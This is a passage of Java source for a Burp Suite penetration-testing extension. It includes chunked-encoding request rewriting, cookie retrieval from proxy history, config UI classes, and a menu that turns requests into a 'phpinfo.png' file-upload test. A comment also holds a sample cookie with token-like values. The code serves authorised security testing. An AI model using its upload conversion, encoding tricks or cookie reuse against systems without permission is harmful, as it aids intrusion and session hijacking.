encoding_body.getBytes(); 165 | } 166 | 167 | public static byte[] decoding(byte[] body) throws UnsupportedEncodingException { 168 | String bodyStr = new String(body, "UTF-8"); 169 | 170 | // decoding 171 | String[] array_body = bodyStr.split("\r\n"); 172 | List list_string_body = Arrays.asList(array_body); 173 | List list_body = new ArrayList(list_string_body); 174 | list_body.remove(list_body.size()-1); 175 | String decoding_body = ""; 176 | for(int i=0;i inputQueue; 10 | private String proxyHost; 11 | private int proxyPort; 12 | private HashMap headers; 13 | 14 | public threadRequester(BlockingQueue inputQueue,String proxyHost,int proxyPort,HashMap headers,int threadNo) { 15 | this.inputQueue = inputQueue; 16 | this.proxyHost = proxyHost; 17 | this.proxyPort = proxyPort; 18 | this.headers = headers; 19 | this.setName(this.getClass().getName()+threadNo); 20 | } 21 | 22 | @Override 23 | public void run() { 24 | while(true){ 25 | try { 26 | if (inputQueue.isEmpty() ) { 27 | break; 28 | } 29 | if (Thread.interrupted()){//没有起作用! 30 | break; 31 | } 32 | 33 | RequestTask task = inputQueue.take(); 34 | task.sendRequest(proxyHost,proxyPort,headers); 35 | } catch (Exception error) { 36 | error.printStackTrace(BurpExtender.getStderr()); 37 | } 38 | } 39 | } 40 | 41 | public static void main(String[] args) { 42 | 43 | } 44 | 45 | } 46 | -------------------------------------------------------------------------------- /src/config/ConfigManager.java: -------------------------------------------------------------------------------- 1 | package config; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | 6 | import com.google.gson.Gson; 7 | 8 | import burp.IBurpExtenderCallbacks; 9 | 10 | public class ConfigManager { 11 | 12 | private String configManagerName = ""; 13 | private List stringConfigEntries = new ArrayList<>();// get from configTableModel 14 | private int enableStatus = IBurpExtenderCallbacks.TOOL_PROXY; 15 | private boolean onlyForScope = true; 16 | 17 | ConfigManager(){ 18 | //to resolve "default constructor not found" error 19 | } 20 | 21 | public ConfigManager(String configManagerName){ 22 | this.configManagerName = configManagerName; 23 | } 24 | 25 | public String getConfigManagerName() { 26 | return configManagerName; 27 | } 28 | 29 | public void setConfigManagerName(String configManagerName) { 30 | this.configManagerName = configManagerName; 31 | } 32 | 33 | public List getStringConfigEntries() { 34 | return stringConfigEntries; 35 | } 36 | 37 | public void setStringConfigEntries(List stringConfigEntries) { 38 | this.stringConfigEntries = stringConfigEntries; 39 | } 40 | 41 | public int getEnableStatus() { 42 | return enableStatus; 43 | } 44 | 45 | public void setEnableStatus(int enableStatus) { 46 | this.enableStatus = enableStatus; 47 | } 48 | 49 | public boolean isOnlyForScope() { 50 | return onlyForScope; 51 | } 52 | 53 | public void setOnlyForScope(boolean onlyForScope) { 54 | this.onlyForScope = onlyForScope; 55 | } 56 | 57 | 58 | public String ToJson(){//注意函数名称,如果是get set开头,会被认为是Getter和Setter函数,会在序列化过程中被调用。 59 | return new Gson().toJson(this); 60 | } 61 | 62 | public ConfigManager FromJson(String json){//注意函数名称,如果是get set开头,会被认为是Getter和Setter函数,会在序列化过程中被调用。 63 | return new Gson().fromJson(json, ConfigManager.class); 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /src/config/ConfigTable.java: -------------------------------------------------------------------------------- 1 | package config; 2 | 3 | import static config.ConfigTableModel.titles; 4 | 5 | import java.awt.Color; 6 | import java.awt.Font; 7 | import java.awt.FontMetrics; 8 | import java.awt.event.MouseAdapter; 9 | import java.awt.event.MouseEvent; 10 | import java.util.Arrays; 11 | 12 | import javax.swing.DefaultCellEditor; 13 | import javax.swing.JComboBox; 14 | import javax.swing.JTable; 15 | import javax.swing.ListSelectionModel; 16 | import javax.swing.RowFilter; 17 | import javax.swing.SwingUtilities; 18 | import javax.swing.border.LineBorder; 19 | import javax.swing.table.TableColumn; 20 | import javax.swing.table.TableColumnModel; 21 | import javax.swing.table.TableRowSorter; 22 | 23 | 24 | public class ConfigTable extends JTable { 25 | /** 26 | * 27 | */ 28 | private static final long serialVersionUID = 1L; 29 | 30 | 31 | public ConfigTable(ConfigTableModel ConfigTableModel) { 32 | super(ConfigTableModel); 33 | this.setColumnModel(columnModel); 34 | this.setFillsViewportHeight(true);//在table的空白区域显示右键菜单 35 | //https://stackoverflow.com/questions/8903040/right-click-mouselistener-on-whole-jtable-component 36 | this.setSelectionMode(ListSelectionModel.MULTIPLE_INTERVAL_SELECTION); 37 | this.setBorder(new LineBorder(new Color(0, 0, 0))); 38 | 39 | addClickSort(); 40 | registerListeners(); 41 | //switchEnable();//no need 42 | //table.setupTypeColumn()//can't set here, only can after table data loaded. 43 | //tableHeaderLengthInit();//can't set here, only can after table data loaded. 44 | } 45 | 46 | public ConfigTableModel getConfigTableModel(){ 47 | return (ConfigTableModel)this.getModel(); 48 | } 49 | 50 | @Override 51 | public void changeSelection(int row, int col, boolean toggle, boolean extend) { 52 | super.changeSelection(row, col, toggle, extend); 53 | } 54 | 55 | public int[] getSelectedModelRows() { 56 | int[] rows = getSelectedRows(); 57 | 58 | for (int i = 0; i < rows.length; i++) { 59 | rows[i] = convertRowIndexToModel(rows[i]);//转换为Model的索引,否则排序后索引不对应〿 60 | } 61 | Arrays.sort(rows);//升序 62 | return rows; 63 | } 64 | 65 | private void addClickSort() { 66 | TableRowSorter sorter = new TableRowSorter<>((ConfigTableModel) this.getModel()); 67 | ConfigTable.this.setRowSorter(sorter); 68 | } 69 | 70 | /** 71 | * 需要在数据加载后,即setModel后才有效果! 72 | */ 73 | public void tableHeaderLengthInit() { 74 | Font f = this.getFont(); 75 | FontMetrics fm = this.getFontMetrics(f); 76 | int width = fm.stringWidth("A");//一个字符的宽度 77 | for (int index = 0; index < this.getColumnCount(); index++) { 78 | TableColumn column = this.getColumnModel().getColumn(index); 79 | 80 | if (column.getIdentifier().equals("#")) { 81 | column.setMaxWidth(width * "100".length()); 82 | } 83 | 84 | if (column.getIdentifier().equals("Enable")) { 85 | column.setMaxWidth(width * "Enable++".length()); 86 | //需要预留排序时箭头符合的位置,2个字符宽度 87 | } 88 | 89 | if (column.getIdentifier().equals("Type")) { 90 | column.setPreferredWidth(width * ConfigEntry.Action_If_Base_URL_Matches_Append_To_header_value.length()); 91 | } 92 | } 93 | //this.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);//配合横向滚动条 94 | } 95 | 96 | 97 | //将选中的行(图形界面的行)转换为Model中的行数(数据队列中的index).因为图形界面排序等操作会导致图像和数据队列的index不是线性对应的。 98 | public int[] SelectedRowsToModelRows(int[] SelectedRows) { 99 | 100 | for (int i = 0; i < SelectedRows.length; i++){ 101 | SelectedRows[i] = convertRowIndexToModel(SelectedRows[i]);//转换为Model的索引,否则排序后索引不对应〿 102 | } 103 | Arrays.sort(SelectedRows);//升序 104 | 105 | return SelectedRows; 106 | } 107 | 108 | private void registerListeners() { 109 | this.addMouseListener(new MouseAdapter() { 110 | @Override 111 | public void mouseClicked(MouseEvent e) { 112 | if (e.getClickCount() == 2) { 113 | ConfigTable target = (ConfigTable) e.getSource(); 114 | int row = target.getSelectedRow(); 115 | int column = target.getSelectedColumn(); 116 | if (titles[column].equals("Enable")) { 117 | boolean value = (boolean) getValueAt(row, column); 118 | setValueAt(!value, row, column); 119 | } 120 | } 121 | } 122 | 123 | @Override//title表格中的鼠标右键菜单 124 | public void mouseReleased( MouseEvent e ){ 125 | if ( SwingUtilities.isRightMouseButton( e )){ 126 | if (e.isPopupTrigger() && e.getComponent() instanceof ConfigTable ) { 127 | int[] rows = getSelectedRows(); 128 | int col = ((ConfigTable) e.getSource()).columnAtPoint(e.getPoint()); // 获得列位置 129 | int modelCol = ConfigTable.this.convertColumnIndexToModel(col); 130 | if (rows.length>0){ 131 | int[] modelRows = SelectedRowsToModelRows(rows); 132 | new ConfigTableMenu(ConfigTable.this, modelRows, modelCol).show(e.getComponent(), e.getX(), e.getY()); 133 | } 134 | } 135 | } 136 | } 137 | 138 | @Override 139 | public void mousePressed(MouseEvent e) { 140 | //no need 141 | } 142 | }); 143 | } 144 | 145 | 146 | public void setupTypeColumn() { 147 | //call this function must after table data loaded !!!! 148 | JComboBox comboBox = new JComboBox<>(); 149 | 150 | String[] items = new ConfigEntry().listAllConfigType(); 151 | for (String item : items) { 152 | comboBox.addItem(item); 153 | } 154 | TableColumnModel model = this.getColumnModel(); 155 | 156 | int col = Arrays.asList(titles).indexOf("Type"); 157 | DefaultCellEditor editor = new DefaultCellEditor(comboBox); 158 | editor.setClickCountToStart(2); 159 | model.getColumn(col).setCellEditor(editor); 160 | } 161 | 162 | 163 | /** 164 | * 搜索功能 165 | * @param caseSensitive 166 | */ 167 | public void search(String Input,boolean caseSensitive) { 168 | final RowFilter filter = new RowFilter() { 169 | @Override 170 | public boolean include(Entry entry) { 171 | int row = (int) entry.getIdentifier(); 172 | ConfigEntry line = getConfigTableModel().getConfigEntries().get(row); 173 | if (caseSensitive) { 174 | return line.ToJson().contains(Input); 175 | }else { 176 | return line.ToJson().toLowerCase().contains(Input.toLowerCase()); 177 | } 178 | } 179 | }; 180 | ((TableRowSorter)getRowSorter()).setRowFilter(filter); 181 | } 182 | } 183 | -------------------------------------------------------------------------------- /src/config/ConfigTableMenu.java: -------------------------------------------------------------------------------- 1 | package config; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.io.PrintWriter; 5 | 6 | import javax.swing.AbstractAction; 7 | import javax.swing.JMenuItem; 8 | import javax.swing.JPopupMenu; 9 | 10 | import burp.BurpExtender; 11 | 12 | 13 | public class ConfigTableMenu extends JPopupMenu { 14 | 15 | 16 | private static final long serialVersionUID = 1L; 17 | PrintWriter stdout = BurpExtender.getStdout(); 18 | PrintWriter stderr = BurpExtender.getStderr(); 19 | 20 | private ConfigTable configTable; 21 | 22 | /** 23 | * 这处理传入的行index数据是经过转换的 model中的index,不是原始的JTable中的index。 24 | * @param modelRows 25 | * @param columnIndex 26 | */ 27 | ConfigTableMenu(final ConfigTable configTable, final int[] modelRows,final int columnIndex){ 28 | this.configTable = configTable; 29 | JMenuItem itemNumber = new JMenuItem(new AbstractAction(modelRows.length+" Items Selected") { 30 | @Override 31 | public void actionPerformed(ActionEvent actionEvent) { 32 | 33 | } 34 | }); 35 | 36 | JMenuItem enableItem = new JMenuItem(new AbstractAction("Enable Config") { 37 | @Override 38 | public void actionPerformed(ActionEvent actionEvent) { 39 | for (int row:modelRows) { 40 | ConfigEntry config = configTable.getConfigTableModel().getConfigEntries().get(row); 41 | config.setEnable(true); 42 | } 43 | } 44 | }); 45 | 46 | JMenuItem disableItem = new JMenuItem(new AbstractAction("Disable Config") { 47 | @Override 48 | public void actionPerformed(ActionEvent actionEvent) { 49 | for (int row:modelRows) { 50 | ConfigEntry config = configTable.getConfigTableModel().getConfigEntries().get(row); 51 | config.setEnable(false); 52 | } 53 | } 54 | }); 55 | 56 | add(itemNumber); 57 | add(enableItem); 58 | add(disableItem); 59 | } 60 | 61 | 62 | } 63 | -------------------------------------------------------------------------------- /src/config/CookieFinder.java: -------------------------------------------------------------------------------- 1 | package config; 2 | 3 | import org.apache.commons.lang3.StringUtils; 4 | 5 | import com.bit4woo.utilbox.burp.HelperPlus; 6 | import com.bit4woo.utilbox.utils.DomainUtils; 7 | import com.bit4woo.utilbox.utils.UrlUtils; 8 | 9 | import burp.BurpExtender; 10 | import burp.IHttpRequestResponse; 11 | import burp.Methods; 12 | 13 | public class CookieFinder { 14 | 15 | 16 | public static CookieRecorder getLatestCookieFromHistory(IHttpRequestResponse messageInfo) { 17 | return getLatestHeaderFromHistory(messageInfo,"Cookie"); 18 | } 19 | 20 | 21 | public static CookieRecorder getLatestCookieFromHistory(String sourceUrl) { 22 | return getLatestHeader(sourceUrl,null,BurpExtender.callbacks.getProxyHistory(),"Cookie"); 23 | } 24 | 25 | public static CookieRecorder getLatestHeaderFromHistory(IHttpRequestResponse messageInfo,String headerName) { 26 | String sourceUrl = BurpExtender.getHelperPlus().getFullURL(messageInfo).toString(); 27 | String originUrl = BurpExtender.getHelperPlus().getHeaderValueOf(true,messageInfo,"Origin"); 28 | 29 | return getLatestHeader(sourceUrl,originUrl,BurpExtender.callbacks.getProxyHistory(),headerName); 30 | } 31 | 32 | /** 33 | * 34 | * @param shortUrl 35 | * @param originUrl 36 | * @param historyMessages 37 | * @param headerName 38 | * @return 39 | */ 40 | public static CookieRecorder getLatestHeader(String sourceUrl,String originUrl, IHttpRequestResponse[] historyMessages, String headerName) { 41 | CookieRecorder result = new CookieRecorder(); 42 | 43 | String shortUrl = UrlUtils.getBaseUrl(sourceUrl);//url格式标准化,以保证后面比较的准确性。 44 | shortUrl = HelperPlus.removeUrlDefaultPort(shortUrl);//url格式标准化,以保证后面比较的准确性。 45 | //String path = UrlUtils.getPath(sourceUrl); 46 | String host = UrlUtils.getHost(shortUrl); 47 | String rootDomain = null; 48 | String originHost = null; 49 | String originRootDomain = null; 50 | 51 | 52 | if (DomainUtils.isValidDomainMayPort(host)) { 53 | rootDomain = DomainUtils.getRootDomain(host); 54 | } 55 | 56 | if (StringUtils.isNoneBlank(originUrl)) { 57 | originHost = UrlUtils.getHost(originUrl); 58 | 59 | if (DomainUtils.isValidDomainMayPort(originHost)) { 60 | originRootDomain = DomainUtils.getRootDomain(originHost); 61 | } 62 | } 63 | 64 | HelperPlus getter = new HelperPlus(BurpExtender.callbacks.getHelpers()); 65 | 66 | for (int i = historyMessages.length - 1; i >= 0; i--) { 67 | IHttpRequestResponse historyMessage = historyMessages[i]; 68 | String hisShortUrl = HelperPlus.getBaseURL(historyMessage).toString(); 69 | hisShortUrl = HelperPlus.removeUrlDefaultPort(hisShortUrl); 70 | 71 | String hisHost = UrlUtils.getHost(shortUrl); 72 | String hisRootDomain = null; 73 | if (DomainUtils.isValidDomainMayPort(hisHost)) { 74 | hisRootDomain = DomainUtils.getRootDomain(hisHost); 75 | } 76 | 77 | //baseUrl完全相同 78 | if (hisShortUrl.equalsIgnoreCase(shortUrl)) { 79 | String headerLine = getter.getHeaderLine(true, historyMessage, headerName); 80 | if (StringUtils.isNotBlank(headerLine)){ 81 | result.setSameSiteCookie(headerLine); 82 | } 83 | }else { 84 | //host是domain 85 | if (StringUtils.isNotBlank(rootDomain)) { 86 | if (StringUtils.isNotBlank(hisRootDomain) && rootDomain.equalsIgnoreCase(hisRootDomain)) { 87 | String headerLine = getter.getHeaderLine(true, historyMessage, headerName); 88 | if (StringUtils.isNotBlank(headerLine)){ 89 | result.setSameRootDomainCookie(headerLine); 90 | } 91 | } 92 | }else { 93 | //如果host是IP,可能出现IP和域名是同一个站点的情况。可以尝试查询相同路径的Cookie 94 | 95 | } 96 | } 97 | } 98 | return result; 99 | } 100 | 101 | 102 | 103 | /** 104 | * 是否有必要从sitemap中获取,如果它是按照时间排序的话,还是有用的。后续测试一下//TODO 105 | * 106 | * @param shortUrl 107 | * @param headerName 108 | * @return 109 | */ 110 | public static CookieRecorder getLatestHeaderFromSiteMap(IHttpRequestResponse messageInfo) { 111 | return getLatestHeaderFromSiteMap(messageInfo,"Cookie"); 112 | } 113 | 114 | public static CookieRecorder getLatestHeaderFromSiteMap(IHttpRequestResponse messageInfo,String headerName) { 115 | String sourceUrl = BurpExtender.getHelperPlus().getFullURL(messageInfo).toString(); 116 | String shortUrl = HelperPlus.getBaseURL(messageInfo).toString(); 117 | String originUrl = BurpExtender.getHelperPlus().getHeaderValueOf(true,messageInfo,"Origin"); 118 | 119 | //这里是否使用shortUrl,对后续有明显的影响,详细考虑逻辑TODO 120 | return getLatestHeader(sourceUrl,originUrl,BurpExtender.callbacks.getSiteMap(shortUrl),headerName); 121 | } 122 | 123 | 124 | //Cookie: ISIC_SOP_DES_S22_NG_WEB=ISIC_SOP_DES_S22_NG_196_8; a_authorization_sit=18ac8987-2059-4a3b-a433-7def12dbae4d/97cd8cce-20ba-40df-ac44-0adae67ae2ad/BF32FB9F1479F653496C56DC99299483; custom.name=f12c5888-467d-49af-bcab-9cf4a44c03ff 125 | //判断字符串是否是合格的cookie,每个分号分割的部分是否都是键值对格式。 126 | public static boolean isValidCookieString(String input) { 127 | String cookieValue = input.trim(); 128 | 129 | if (cookieValue.startsWith("Cookie:")) { 130 | cookieValue = cookieValue.replaceFirst("Cookie:", "").trim(); 131 | } 132 | 133 | String[] items = cookieValue.split(";"); 134 | for (String item : items) { 135 | if (!item.contains("=")) { 136 | return false; 137 | } 138 | } 139 | return true; 140 | } 141 | 142 | /** 143 | * 返回的内容格式是一个header line 144 | * 145 | * @return 146 | */ 147 | public static String getLatestCookieFromUserInput() { 148 | String domainOrCookie = Methods.prompt_and_validate_input("Cookie Value OR URL That Cookie From ", null); 149 | String url1 = ""; 150 | String url2 = ""; 151 | try { 152 | if (domainOrCookie == null) { 153 | return null; 154 | } else if (isValidCookieString(domainOrCookie)) {//直接是cookie 155 | String cookieValue = domainOrCookie.trim(); 156 | 157 | if (!cookieValue.startsWith("Cookie:")) { 158 | cookieValue = "Cookie: " + cookieValue; 159 | } 160 | return cookieValue; 161 | } else if (domainOrCookie.startsWith("http://") || domainOrCookie.startsWith("https://")) {//不包含协议头的域名或url 162 | url1 = domainOrCookie; 163 | } else { 164 | url1 = "http://" + domainOrCookie; 165 | url2 = "https://" + domainOrCookie; 166 | } 167 | 168 | try { 169 | CookieRecorder recorder = getLatestCookieFromHistory(url1); 170 | if (recorder.isAllBlank() && StringUtils.isNotBlank(url2)) { 171 | recorder = getLatestCookieFromHistory(url2); 172 | } 173 | return recorder.getValue(); 174 | } catch (Exception e) { 175 | e.printStackTrace(BurpExtender.getStderr()); 176 | } 177 | } catch (Exception e) { 178 | e.printStackTrace(BurpExtender.getStderr()); 179 | Methods.show_message("Enter proper domain!!!", "Input Not Valid"); 180 | } 181 | return null; 182 | } 183 | 184 | } 185 | -------------------------------------------------------------------------------- /src/config/CookieRecorder.java: -------------------------------------------------------------------------------- 1 | package config; 2 | 3 | import org.apache.commons.lang3.StringUtils; 4 | 5 | /** 6 | * 根据当前请求信息,去查找可能的Cookie 7 | * 8 | */ 9 | public class CookieRecorder { 10 | String sameSiteCookie; //protocol+host+port都相同 11 | String sameRootDomainCookie; //rootDomain相同,比如统一登录的场景 12 | String sameOriginCookie;//好像还没有什么情况需要这种,后续再看 13 | String samePathCookie;//host不相同,但是URL Path相同 14 | 15 | 16 | public String getSameSiteCookie() { 17 | return sameSiteCookie; 18 | } 19 | public void setSameSiteCookie(String sameSiteCookie) { 20 | this.sameSiteCookie = sameSiteCookie; 21 | } 22 | public String getSameRootDomainCookie() { 23 | return sameRootDomainCookie; 24 | } 25 | public void setSameRootDomainCookie(String sameRootDomainCookie) { 26 | this.sameRootDomainCookie = sameRootDomainCookie; 27 | } 28 | public String getSamePathCookie() { 29 | return samePathCookie; 30 | } 31 | public void setSamePathCookie(String samePathCookie) { 32 | this.samePathCookie = samePathCookie; 33 | } 34 | 35 | public boolean isAllBlank() { 36 | return StringUtils.isAllBlank(sameSiteCookie,sameRootDomainCookie,samePathCookie); 37 | } 38 | 39 | public String getValue() { 40 | 41 | String result = sameSiteCookie; 42 | if (StringUtils.isNotBlank(result)) { 43 | return result; 44 | } 45 | 46 | result = sameRootDomainCookie; 47 | if (StringUtils.isNotBlank(result)) { 48 | return result; 49 | } 50 | 51 | result = samePathCookie; 52 | if (StringUtils.isNotBlank(result)) { 53 | return result; 54 | } 55 | return null; 56 | } 57 | 58 | } 59 | -------------------------------------------------------------------------------- /src/knife/AddHostToScopeMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | import java.net.URL; 7 | 8 | import javax.swing.JMenuItem; 9 | 10 | import com.bit4woo.utilbox.burp.HelperPlus; 11 | 12 | import burp.BurpExtender; 13 | import burp.IBurpExtenderCallbacks; 14 | import burp.IContextMenuInvocation; 15 | import burp.IExtensionHelpers; 16 | import burp.IHttpRequestResponse; 17 | 18 | public class AddHostToScopeMenu extends JMenuItem {//JMenuItem vs. JMenu 19 | 20 | public AddHostToScopeMenu(BurpExtender burp){ 21 | this.setText("^_^ Add Host To Scope"); 22 | this.addActionListener(new AddHostToScope_Action(burp,burp.invocation)); 23 | } 24 | } 25 | 26 | 27 | 28 | class AddHostToScope_Action implements ActionListener{ 29 | //scope matching is actually String matching!! 30 | private final IContextMenuInvocation invocation; 31 | public BurpExtender myburp; 32 | public IExtensionHelpers helpers; 33 | public PrintWriter stdout; 34 | public PrintWriter stderr; 35 | public IBurpExtenderCallbacks callbacks; 36 | //callbacks.printOutput(Integer.toString(invocation.getToolFlag()));//issue tab of target map is 16 37 | public AddHostToScope_Action(BurpExtender burp,IContextMenuInvocation invocation) { 38 | this.invocation = invocation; 39 | this.helpers = burp.helpers; 40 | this.callbacks = BurpExtender.callbacks; 41 | this.stderr = BurpExtender.stderr; 42 | } 43 | 44 | 45 | @Override 46 | public void actionPerformed(ActionEvent e) 47 | { 48 | try{ 49 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 50 | for(IHttpRequestResponse message:messages) { 51 | String url = HelperPlus.getBaseURL(message.getHttpService()); 52 | URL shortUrl = new URL(url); 53 | callbacks.includeInScope(shortUrl); 54 | } 55 | } 56 | catch (Exception e1) 57 | { 58 | e1.printStackTrace(stderr); 59 | } 60 | } 61 | } -------------------------------------------------------------------------------- /src/knife/ChangeToUploadRequest.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.util.Random; 6 | 7 | import javax.swing.JMenuItem; 8 | 9 | import com.bit4woo.utilbox.burp.HelperPlus; 10 | 11 | import burp.BurpExtender; 12 | import burp.IHttpRequestResponse; 13 | 14 | /** 15 | * 16 | * @author bit4woo 17 | */ 18 | 19 | public class ChangeToUploadRequest extends JMenuItem { 20 | /** 21 | * 22 | */ 23 | private static final long serialVersionUID = 1L; 24 | 25 | public ChangeToUploadRequest(BurpExtender burp){ 26 | try { 27 | this.setText("^_^ Change To Upload Request"); 28 | this.addActionListener(new ChangeToUploadRequestListener(burp)); 29 | } catch (Exception e) { 30 | e.printStackTrace(BurpExtender.getStderr()); 31 | } 32 | } 33 | } 34 | 35 | class ChangeToUploadRequestListener implements ActionListener { 36 | 37 | BurpExtender myburp; 38 | ChangeToUploadRequestListener(BurpExtender burp) { 39 | myburp = burp; 40 | } 41 | 42 | @Override 43 | public void actionPerformed(ActionEvent e) { 44 | 45 | IHttpRequestResponse message = myburp.invocation.getSelectedMessages()[0]; 46 | HelperPlus getter = new HelperPlus(BurpExtender.getCallbacks().getHelpers()); 47 | 48 | byte[] newRequestBytes = message.getRequest(); 49 | if (getter.getMethod(message).equalsIgnoreCase("GET")) { 50 | newRequestBytes = BurpExtender.getCallbacks().getHelpers().toggleRequestMethod(newRequestBytes); 51 | } 52 | 53 | String boundary = "---------------------------"+generateRandomString(30); 54 | newRequestBytes = getter.addOrUpdateHeader(true, newRequestBytes, "Content-Type", "multipart/form-data; boundary="+boundary); 55 | 56 | String body = boundary+"\r\n" 57 | + "Content-Disposition: form-data; name=\"uploadImage\"; filename=\"phpinfo.png\"\r\n" 58 | + "Content-Type: image/png\r\n" 59 | + "\r\n" 60 | + "\r\n" 61 | + boundary; 62 | newRequestBytes = getter.UpdateBody(true, newRequestBytes, body.getBytes()); 63 | 64 | message.setRequest(newRequestBytes); 65 | } 66 | 67 | 68 | public static String generateRandomString(int length) { 69 | //String sourceString = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 70 | String sourceString = "0123456789"; 71 | Random random = new Random(); 72 | StringBuilder sb = new StringBuilder(length); 73 | for (int i = 0; i < length; i++) { 74 | int index = random.nextInt(sourceString.length()); 75 | char randomChar = sourceString.charAt(index); 76 | sb.append(randomChar); 77 | } 78 | return sb.toString(); 79 | } 80 | 81 | } 82 | -------------------------------------------------------------------------------- /src/knife/ChineseGUI.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.EventQueue; 5 | import java.awt.event.ActionEvent; 6 | import java.awt.event.ActionListener; 7 | import java.util.ArrayList; 8 | import java.util.List; 9 | 10 | import javax.swing.JButton; 11 | import javax.swing.JFrame; 12 | import javax.swing.JLabel; 13 | import javax.swing.JPanel; 14 | import javax.swing.JScrollPane; 15 | import javax.swing.JTextArea; 16 | import javax.swing.ScrollPaneConstants; 17 | import javax.swing.border.EmptyBorder; 18 | 19 | public class ChineseGUI extends JFrame { 20 | 21 | /** 22 | * Launch the application. 23 | */ 24 | public static void main(String[] args) { 25 | EventQueue.invokeLater(new Runnable() { 26 | public void run() { 27 | try { 28 | ChineseGUI frame = new ChineseGUI("中文".getBytes()); 29 | frame.setVisible(true); 30 | } catch (Exception e) { 31 | e.printStackTrace(); 32 | } 33 | } 34 | }); 35 | } 36 | 37 | /** 38 | * Create the frame. 39 | */ 40 | public ChineseGUI(byte[] body) { 41 | 42 | List encodingList = new ArrayList(); 43 | encodingList.add("UTF-8"); 44 | encodingList.add("gbk"); 45 | encodingList.add("gb2312"); 46 | encodingList.add("GB18030"); 47 | encodingList.add("Big5"); 48 | encodingList.add("Unicode"); 49 | 50 | setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); 51 | setBounds(100, 100, 450, 300); 52 | JPanel contentPane = new JPanel(); 53 | contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); 54 | contentPane.setLayout(new BorderLayout(0, 0)); 55 | setContentPane(contentPane); 56 | this.setTitle("View Chinese"); 57 | 58 | JButton btnNewButton = new JButton("Change Encoding"); 59 | contentPane.add(btnNewButton, BorderLayout.NORTH); 60 | 61 | JLabel lblCoding = new JLabel("Encoding: "); 62 | contentPane.add(lblCoding, BorderLayout.SOUTH); 63 | 64 | JScrollPane scrollPane = new JScrollPane(); 65 | scrollPane.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER); 66 | contentPane.add(scrollPane, BorderLayout.CENTER); 67 | 68 | JTextArea textArea = new JTextArea(); 69 | textArea.setLineWrap(true); 70 | scrollPane.setViewportView(textArea); 71 | 72 | btnNewButton.addActionListener(new ActionListener() { 73 | int i =0; 74 | public void actionPerformed(ActionEvent e) { 75 | try { 76 | String encoding = encodingList.get(i); 77 | lblCoding.setText("Encoding: "+encoding); 78 | int localtion = textArea.getCaretPosition(); 79 | textArea.setText(new String(body,encoding)); 80 | textArea.setCaretPosition(localtion); 81 | if (i < encodingList.size()-1) { 82 | i++; 83 | }else { 84 | i =0; 85 | } 86 | } catch (Exception e1) { 87 | e1.printStackTrace(); 88 | } 89 | } 90 | }); 91 | 92 | btnNewButton.doClick();//首次启动需要显示内容 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /src/knife/ChunkedEncodingMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | import java.io.UnsupportedEncodingException; 7 | import java.util.Iterator; 8 | import java.util.List; 9 | 10 | import javax.swing.JMenuItem; 11 | 12 | import com.bit4woo.utilbox.burp.HelperPlus; 13 | 14 | import burp.BurpExtender; 15 | import burp.IBurpExtenderCallbacks; 16 | import burp.IContextMenuInvocation; 17 | import burp.IExtensionHelpers; 18 | import burp.IHttpRequestResponse; 19 | import burp.Methods; 20 | import config.GUI; 21 | 22 | 23 | public class ChunkedEncodingMenu extends JMenuItem { 24 | //JMenuItem vs. JMenu 25 | public BurpExtender burp; 26 | public IContextMenuInvocation invocation; 27 | public HelperPlus getter; 28 | public ChunkedEncodingMenu(BurpExtender burp){ 29 | 30 | try { 31 | this.invocation = burp.invocation; 32 | this.burp = burp; 33 | this.getter = new HelperPlus(burp.helpers); 34 | IHttpRequestResponse[] messages = this.invocation.getSelectedMessages(); 35 | if (messages == null || messages.length == 0) { 36 | return; 37 | } 38 | String chunked = getter.getHeaderValueOf(true, messages[0], "Transfer-Encoding"); 39 | if (chunked == null || !chunked.equalsIgnoreCase("chunked") ) { 40 | this.setText("^_^ Chunked Encoding"); 41 | }else { 42 | this.setText("^_^ Chunked Decoding"); 43 | } 44 | this.addActionListener(new ChunkedEncoding_Action(burp,invocation)); 45 | } catch (Exception e) { 46 | e.printStackTrace(BurpExtender.getStderr()); 47 | } 48 | } 49 | } 50 | 51 | class ChunkedEncoding_Action implements ActionListener{ 52 | private final IContextMenuInvocation invocation; 53 | public IExtensionHelpers helpers; 54 | public PrintWriter stdout; 55 | public PrintWriter stderr; 56 | public IBurpExtenderCallbacks callbacks; 57 | private final BurpExtender burp; 58 | 59 | public ChunkedEncoding_Action(BurpExtender burp,IContextMenuInvocation invocation) { 60 | this.burp = burp; 61 | this.invocation = invocation; 62 | this.helpers = burp.helpers; 63 | this.callbacks = BurpExtender.callbacks; 64 | this.stderr = BurpExtender.stderr; 65 | this.stdout = BurpExtender.stdout; 66 | } 67 | 68 | @Override 69 | public void actionPerformed(ActionEvent event) { 70 | 71 | IHttpRequestResponse[] selectedItems = invocation.getSelectedMessages(); 72 | IHttpRequestResponse messageInfo = selectedItems[0]; 73 | 74 | HelperPlus getter = new HelperPlus(helpers); 75 | 76 | List headers = getter.getHeaderList(true, messageInfo); 77 | byte[] body = getter.getBody(true, messageInfo); 78 | 79 | if (event.getActionCommand().equals("^_^ Chunked Encoding")) { 80 | Iterator iter = headers.iterator(); 81 | while (iter.hasNext()) { 82 | if (((String)iter.next()).contains("Transfer-Encoding")) { 83 | iter.remove(); 84 | } 85 | } 86 | headers.add("Transfer-Encoding: chunked"); 87 | 88 | try { 89 | boolean useComment =false; 90 | if (GUI.getConfigTableModel().getConfigValueByKey("Chunked-UseComment") != null) { 91 | useComment = true; 92 | } 93 | String lenStr = 